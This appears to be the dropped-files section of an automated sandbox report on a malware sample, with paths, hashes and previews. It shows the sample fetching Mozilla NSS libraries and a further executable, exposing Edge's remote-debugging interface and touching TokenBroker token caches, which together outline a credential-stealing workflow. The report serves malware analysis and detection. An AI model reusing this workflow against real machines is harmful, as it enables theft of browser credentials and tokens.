GWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e3510158-bdc7-41d5-bf63-a00da7efe402.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44906
Entropy (8bit):	6.096302226752985
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWhTi1zNtNGX+ku7LpN8gV4aC+NYKJDSgzMMd6qD47d:+/Ps+wsI7yn3GX+nQKtSmd6qE7lFoC
MD5:	F974470B5270EECC8F7FF240D7716F21
SHA1:	E8793B54E8B4B45DA147FE7D372A0A06CCB0B171
SHA-256:	2696EC32DFA15DBDB8E8E94F9689AFCBB4EC85BA122595F9FCC0016F6708756B
SHA-512:	6BE5754C5B44C1B68011EA335E6EA9AE1A4EA53A7D403CD15ADA9F9B0EDF8167AFB238CF040F3E3DD22CA49387C779910EF06DC02290F6637BE909BC72421CAB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8234402776865584
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxXxl9Il8ukk73nZebfYCUbE/a5d1rc:mOYO2nZ6tgcaa
MD5:	975BF374280F930CDAB9644A96985475
SHA1:	01359EFC4335AE876C14C751EA8B89300E321A06
SHA-256:	7B9B7E3A1B499DABA6E03ACBAD1C81AC8706744FC53EF7E559B7345FAB18E942
SHA-512:	E09CC3534301B8F6871FACCA56B07F98DD5C495B517C1ED2A706C4F0775AA1668958429A683B75E66647205F82CC6DB689C32A2B0825F972CCD9A032E2AAC1DC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.M.v.k.Z.L.p.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.G.a.Z.B.P.H.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.0007831798587175
Encrypted:	false
SSDEEP:	96:KlYAFN0shp1aMVbC1OU/xq6lJJTooPHCjBPXJ8iC04X:KlvFqkaDlJJcAi1X6D
MD5:	74DBD3346ABA951860834DD357DD2A11
SHA1:	FC56566A39EAD7863AF40B3FC29B95744CC876AD
SHA-256:	CC26AE409097B3A03DB9B3DC4310B421365EAA37A370F2A1EFF9244B4E671B3A
SHA-512:	7B08A39EFA4FA69D5C6C083F338D0711FF24A0AA9155D0C3610180CBC32B2339E9833FD0BADE4326F93E6695B349A7A8F22EDC43B7643ED6C47DB161004724A4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".y.Y.y.2.S.r.J.B.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.G.a.Z.B.P.H.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.897062648972733
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xcxl9Il8u6PPR6TTvl0dxlsy+FLnkid/vc:amYYoTN0yyiLnkf
MD5:	B839E52FB38842A37F632FDE0FBD79C6
SHA1:	7C56CFEFE53E5CB1F1A2F9A09A4649CD4375A4FF
SHA-256:	60AE3FA893DD8F1D510DAFCE667289BB648C8FB480E71D8175AA7EAB1C07AA4F
SHA-512:	68787382891F8FDD1C4B3395AE8FFE60619F7CA231B7FCF166FDC5E03477E9E2903B4A1DE8374B50FFC62DBAE19F6B6FE82D1C4262B90BC8AEF8113A10344DDC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".v.Z.3.q.e.o.N.g.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.G.a.Z.B.P.H.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.385794386083463
Encrypted:	false
SSDEEP:	96:6NnQiHQxNnQncictbQncUNnQTZLkZLz9QTZLsNnQMbWdgEQMmNnQcQ1NnQKYeDQp:6NSNScic8cUN8+ACN4eN6NlDNvtNwene
MD5:	6E775CC31BECB0F6CCBDA90DC3F50DB3
SHA1:	013EEE3E8427429C9B2AD6817500175E161B2FD4
SHA-256:	BAAFCF47F5B6984E974D7A5FFD641B371ADB2A0BC3EBE47F86EDBE940822E9D3
SHA-512:	E862EA7E55432A1744143DD06F28E2B29316DCDDB0908CBFD5B3F0DE959FE0AED9081E27272ACDB0C5BFCF062FE2E9AFBFD36E054C3CC1BB2BE3A740AB753FA3
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4709E21D2E10D322E1AC3D39887D39C2",.. "id": "4709E21D2E10D322E1AC3D39887D39C2",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4709E21D2E10D322E1AC3D39887D39C2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2C4A1219F958C1EB9EBDCC18FBC318F0",.. "id": "2C4A1219F958C1EB9EBDCC18FBC318F0",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2C4A1219F958C1EB9EBDCC18FBC318F0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37396724660826
Encrypted:	false
SSDEEP:	48:SfNaoQfGkTEQfQfNaoQgQi/fNaoQUjGQUmfNaoQsI0UrU0U8QY:6NnQ5TEQUNnQgQuNnQUjGQUONnQsI0U3
MD5:	1772B8C4988EEC9BDF42E84340A5FF3A
SHA1:	C82A74D4C92D31AA34407506EE672E832D7EA8E4
SHA-256:	E28468FD8EB0BEF5C9E641F8A72E4BC6CB71FFF0D42288DE0D8E242A92C2BD34
SHA-512:	B2398E229B48458B0C6EE297F3BAEF75EFB0ADCADA32A8F8725393455BDB6271AB43B72BF46422740215601295CE78B6A158D476EA5BBA4D8C3E13EA54E61A3A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F7B25755CA3811363945D229B285D08A",.. "id": "F7B25755CA3811363945D229B285D08A",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F7B25755CA3811363945D229B285D08A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/AB64E6FFDA24B61093DA4A158B88696F",.. "id": "AB64E6FFDA24B61093DA4A158B88696F",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/AB64E6FFDA24B61093DA4A158B88696F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1865728
Entropy (8bit):	7.950307461004618
Encrypted:	false
SSDEEP:	24576:RUaP/erYO5PCGQ43Jjf5O870zxxqjR2FSoEwJIkTQiJYmWi1nxTPC4d2qOlD87:RRHOtCGz3fhCgjR28/yIuOm11xfK
MD5:	2FF2F4CB39A9D0E4C3270991B067FC0D
SHA1:	15CAB9DF2382BBE89173B0D36D9AA79E719C627E
SHA-256:	44BAD3D7187BEB169787008D5E70FBBF36AF3C7571A00105FAF1CCACC4B7FE67
SHA-512:	4EA2ED13CF7953EDBDD09A0DE2A0B92B34C0B3EF8E211B9E7ECA56E4A41D57031B665E5866DBECF8F91FAED3CCBC5D5A677492E3199B73EAAFC3A52865C89A72
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@..........................@J.....s.....@.................................W...k.......D.....................I.............................P.I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...hpiiigzq.`....0..\..................@...rizbcyzd......J......R..............@....taggant.0....J.."...V..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\tvtC9D3[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	43115
Entropy (8bit):	6.531420578544351
Encrypted:	false
SSDEEP:	768:hef6qfEqLBTxrLkSRoys2uGUmRDcMznWHWmZCXrs0D3S9i1GcucbMgAoG:efHLrLkSRoybCQUZsrs0DC1cucbMDoG
MD5:	56944BE08ED3307C498123514956095B
SHA1:	53FFB50051DA62F2C2CEE97FE048A1441E95A812
SHA-256:	A34D38DFB2866E7E20C7530046289A0FDFC440AA2B019E6FF90A8D03E016B181
SHA-512:	AA196A1A1E44C3FDE974BBF8A031E6943A474D16D5A956B205D283EE5BE53E110DBA52817F7F2782E7ECC8783FEA77F9C34613F99FB81FE09D2BEA8B2F91BC13
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L....C.f.................j..........R5............@..........................`............@..........................................P..P............................................................................................................text....h.......j.................. ..`.rdata..d............n..............@..@.data...............................@....ndata.......P...........................rsrc...P....P......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	43115
Entropy (8bit):	6.531420578544351
Encrypted:	false
SSDEEP:	768:hef6qfEqLBTxrLkSRoys2uGUmRDcMznWHWmZCXrs0D3S9i1GcucbMgAoG:efHLrLkSRoybCQUZsrs0DC1cucbMDoG
MD5:	56944BE08ED3307C498123514956095B
SHA1:	53FFB50051DA62F2C2CEE97FE048A1441E95A812
SHA-256:	A34D38DFB2866E7E20C7530046289A0FDFC440AA2B019E6FF90A8D03E016B181
SHA-512:	AA196A1A1E44C3FDE974BBF8A031E6943A474D16D5A956B205D283EE5BE53E110DBA52817F7F2782E7ECC8783FEA77F9C34613F99FB81FE09D2BEA8B2F91BC13
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L....C.f.................j..........R5............@..........................`............@..........................................P..P............................................................................................................text....h.......j.................. ..`.rdata..d............n..............@..@.data...............................@....ndata.......P...........................rsrc...P....P......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\18295f7d-25d8-4c68-8e44-fd6ed0040370.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\8b3cde0e-eee9-435e-81f0-65d614568604.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
